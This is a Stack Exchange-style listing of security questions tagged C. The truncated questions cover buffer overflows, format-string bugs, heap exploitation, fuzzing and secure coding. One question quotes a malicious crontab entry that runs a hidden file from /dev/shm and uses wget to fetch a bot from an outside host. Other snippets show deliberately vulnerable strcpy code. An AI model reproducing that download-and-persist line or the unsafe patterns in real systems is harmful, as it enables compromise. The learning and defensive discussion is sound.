In computing, C (/ˈsiː/, like the letter C) is a general-purpose programming language initially developed by Dennis Ritchie at bell labs Its design provides constructs that map efficiently to typical machine instructions

learn more… | top users | synonyms

0
votes
1answer
50 views

HTTP Status Codes - security considerations

I am designing an authorization framework and now I am thinking about the error codes which I should return when someone is trying to access a resource and he doesn't have the required permissions. ...
1
vote
2answers
324 views

Is a C plugin safe if I read it through an echoing parser before?

I wanted to use sharable plugins for an application. However, the plugins were extremely time critical, so I wanted to distribute them as C libraries. Now, these are not guaranteed to be safe (the ...
-2
votes
0answers
37 views

How vulnerable is Windows 7 to brute force attacks?

I researched a while back whether it would be feasible for a standard user to be able to brute force another account on Windows 7. I calculated that at 3,000 attempts per second, it would take 11 days ...
3
votes
1answer
96 views

Exploitability of use-after-free vulnerabilities

Use-after-free bugs are a particular class of memory safety bugs. How often are they exploitable, in practice? When you find a use-after-free bug in a program, is it often exploitable, rarely ...
1
vote
1answer
73 views

buffer overflow in python script

I am developing a script to perform an a buffer overflow for an assignment in school. However, I am stuck at a point where my payload works injected through the commandline, but not injected through ...
4
votes
3answers
2k views

How to get this to buffer overflow?

I'm trying to understand buffer overflow, and am working with a simple piece of code, as below. #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { ...
2
votes
1answer
43 views

How to know the time of compilation

I've read that a malware found by kaspersky was compiled at the moscow time zone. How they know the time of compilation ?
3
votes
4answers
101 views

What things should I check for when giving a client control of the filename parameter to C's open() function?

I'm doing a school project where we are building a simple web server in C. To implement this I read the first line of the request (all I need for my purposes) and parse the middle string as the file ...
2
votes
1answer
404 views

How to learn programming from a hacker's prospective [closed]

I'm really into hacking and security aspects. But I'm wondering about several things that is stopping me from pursuing this passion for the time being. One of the them is actually Programming ...
16
votes
4answers
675 views

Tricky code to make memory-safe

I'm designing a homework challenge for students who are learning about memory safety and writing secure C code. As part of this, I am looking for a small programming task where it's non-trivial to ...
1
vote
1answer
303 views

Starting a new shell in a strcpy exploit using buffer overflow

I'm learning about buffer overflows and have this vulnerable code which I'm trying to start a shell from: #include <string.h> void myfunction(char *arg); int main(int argc, char **argv) { ...
5
votes
3answers
2k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
5
votes
1answer
101 views

How is using acces() opening a security hole?

The man page for access(2) tells : Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the ...
4
votes
3answers
1k views

How is printf() in C/C++ a Buffer overflow vulnerability?

According to an article I just read, the functions printf and strcpy are considered security vulnerabilities due to Buffer overflows. I understand how strcpy is vulnerable, but could someone possibly ...
2
votes
1answer
345 views

Explaining a buffer overflow vulnerability in C

Given this C program: #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[1024]; strcpy(buf, argv[1]); } Built with: gcc -m32 -z execstack prog.c -o ...
3
votes
2answers
547 views

In C, not using 'void' if a function does not accept any argument is a potential vulnerability

In CERT secure coding standard, there is a recommendation that "Always specify void even if a function accepts no arguments". A possible security vulnerability is proposed in it. /* Compile using ...
-1
votes
3answers
119 views

There could be still buffer overflows in ex.: C?

I recently read about the $subject. Q: Why does a programming language has built-in trivial insecurity? Or.. it was just in the old times? How could this be?
2
votes
3answers
426 views

Top 10 dangerous mistakes in C programming? [closed]

What is the top dangerous mistakes in C programming? for example misusing a strcpy causes a stack-overflow and code injection. I'm looking for at least 10 bad programming pattern in C.
3
votes
1answer
151 views

Best option to fuzz a C Network Program [closed]

I have a client/server simple program in C. I want to test the server running on different machine with random inputs. I have looked at 'Bunny-the-fuzzer' but from what I can understand It wont be ...
0
votes
1answer
535 views

Why aren't sophisticated Malware written with .NET [closed]

I've been trying to research malware techniques lately, as malware analysis intrigues me. I've got a pretty heavy background in .NET, and based on my 7+ years in .NET, I feel that I could write a ...
4
votes
1answer
104 views

ASLR Randomization BSS

When I asked this question before, it was close and voted negative, I definitely feel bad about it. But I would really like to know the answer, so I ll make it more clear this time. Here is some ...
3
votes
2answers
1k views

Checking client hello for https classification

I need to detect https packets in network traffic . Until now I were marking all "443" as https but I don't want to use port information for these any more . Will it be enough to check client hello ...
2
votes
1answer
116 views

SSH Protocol classification version exchange messages

I am trying to classify network protocols over network traffic . Now my task is SSH protocol. I read the RFC and know SSH starts with protocol exchange message from both client and server . Format ...
-1
votes
2answers
290 views

Generate openSSL certificates from within C code using commands?

This is an openSSL command for generating a private key and a certificate, openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key The question I have is whether there is some ...
4
votes
1answer
366 views

Is this fprintf statement potentially vulnerable?

Here's the statement: fprintf(stderr, "Some random string\n"). Is it okay not to have a format specifier, such as %s, even though the statement doesn't take any user input? Is it still potentially ...
7
votes
1answer
465 views

How to predict C rand()? [duplicate]

Is there a practical way to predict previous/next C rand() output if i have some of the values? How many values do i need? Do they need to be consequent? If it depends on compiler - for which ...
3
votes
1answer
163 views

how does a return to system allow an attacker to evade a non-executable stack?

I am learning about return to system call attacks for a security class. I understand that in this kind of attack, attackers replace the standard return value for a stack frame with the address of a ...
1
vote
1answer
279 views

Determining the target address in a heap overflow

For a heap overflow to occur and arbitrary code to be executed, the function free() performs the step : hdr->next->next->prev = hdr->next->prev I understand that the address of ...
2
votes
1answer
2k views

Is there any decompiled source code for the “Flame”/“Skywiper” malware?

When searching for the source for Stuxnet, its relatively easy to come by in one form or another. Although I'm actually curious if anyone has done any work to comment the source and perhaps clean up ...
1
vote
2answers
205 views

What's the secure way to change UNIX permissions on a harcoded file often?

I'm writing a daemon that monitors something in the OS and flips execution permissions on a file in /run/ back and forth. The file has static contents and the file name is hardcoded in the daemon. I ...
4
votes
2answers
133 views

Using format string to control the flow of a process?

I was cleaning up some code today on the advice of someone I know, and was made aware of the potential for a hacker to gain control over the flow of the process using format strings, particularly the ...
2
votes
1answer
484 views

Are there any functional differences in the implementations of OpenSSL, GnuTLS, Java's TLS, and .NET's TLS?

Question Are there any functional (or detectable) differences between the various implementations of SSL/TLS? What are the differences between them? (e.g. which ones implement "False Start") ...
7
votes
1answer
192 views

Encryption in an embeddded system

After accepting an answer to my previous question, I am beginning to have doubts. I want to updating pricing information in vending machines by inserting an SD card with new pricing. I have to ...
1
vote
2answers
186 views

Seeking lightweight encryption - shareable between Delphi & C

I want to encrypt a text file in Delphi & decrypt it, line by line, in C on an embedded system which does not have much RAM (so, only one line in RAM at a time). FOSS must be available for both ...
2
votes
1answer
1k views

Stack smashing keep getting segmentation fault

I have a homework assignment to do stack smashing, The exploit code creates a badfile in which the vulnerable file reads and buffer over flow occurs. I have already did the 2 commands below to ...
5
votes
1answer
789 views

“Hello World” example of a Buffer Overflow attack in many programming languages

I'm looking for a very simple application that has an intentional Buffer Overflow embedded in it. I'm assuming this possible in systems where DEP and ASLR are not being used Ideally (and if ...
3
votes
1answer
292 views

Base64 encode diffences in BCrypt implemenations

I was reading the source code of several BCrypt implementations and found that two common c implementations have a difference in their base64 encoding of for the salt. What is the effect, if any, of ...
0
votes
1answer
192 views

Good reading about windows architecture/reversing [closed]

I have a feeling that I need to get more knowledge about system programming and winapi/windows architecture in particular to be able to understand how lots of exploits work (like those exploiting ...
33
votes
3answers
2k views

Security Review - password_hash implementation for PHP

I'm currently working on a "helper function" for PHP's core to make password hashing more secure and easier for the majority of developers. Basically, the goal is to make it so easy, that it's harder ...
10
votes
7answers
2k views

Secure memcpy for pure C

Buffer overflows are nothing new. And yet they still appear often, especially in native (i.e. not managed) code... Part of the root cause, is usage of "unsafe" functions, including C++ staples ...
7
votes
8answers
382 views

Topics for SecureCoding course in C

So I was asked to put together a syllabus for a series of courses on the basics of secure coding, for a programming team. Though the time constraints are a bit... constraining, I'm working around ...
8
votes
1answer
422 views

PHP 5.3.9 Vulnerability Help

This is one of the first vulnerabilities I've tried to exploit on my own to expand my knowledge of exploits. This is a good summary of the vulnerability. I have been able to control EIP but I'm not ...
0
votes
1answer
226 views

MySQL/CGI: password in C source file unsafe?

Is this line bad practice from a security stance? connect = mysql_real_connect(connection, "host", "user", "password", "database", 0, (const char *)NULL, 0); If so, what solution would you use? ...
0
votes
1answer
189 views

Which software scans software for potential vulnerabilities?

Is there any kind of parser-software-analysis tool that will analyze c code and outputs possible vulnerabilities like buffer oveflows?
1
vote
4answers
1k views

Writing file shredder

I want to write a simple file shredder in c++, i.e. a program that deletes a file so that it is not recoverable. Would the following be a secure and correct way to do that? (1) Open the file with ...
5
votes
2answers
236 views

Are more passwords breached via dictionary/bf attacks or via packet-sniffers/key-loggers?

This question has always intrigued me whenever the subject of passwords is brought up. Does anyone have direct experience or a reputable source to answer what percentage of password breaches are ...
2
votes
1answer
258 views

Is there a way to identify the client using SSL Handshake Messages?

I have an SSL Server and it can be connected by two types of Clients, one for which Client Authentication is needed and the other for which Client Authentication is not needed. Is there any mechanism ...
2
votes
2answers
242 views

vulnerable getlogin

I was reading "A taxonomy of Coding Errors" and I have a doubt regarding the point mentioned in C/C++ >> API Abuse >> Often Misused: Authentication(getlogin). I fail to understand the attack vector ...
3
votes
1answer
2k views

Why do I get “Cannot find bound of current function” when I overwrite the ret address of a vulnerable program?

I want to exploit a stack based buffer overflow for education purposes.There is a typical function called with a parameter from main which is given as input from the program and a local buffer where ...
4
votes
1answer
2k views

OpenSSL RAND_poll 'good enough'

We are using OpenSSL for generating IV's and other random data. We initialize it using RAND_poll and, on Windows, RAND_screen. The question is though, if the seed generated by those methods is good ...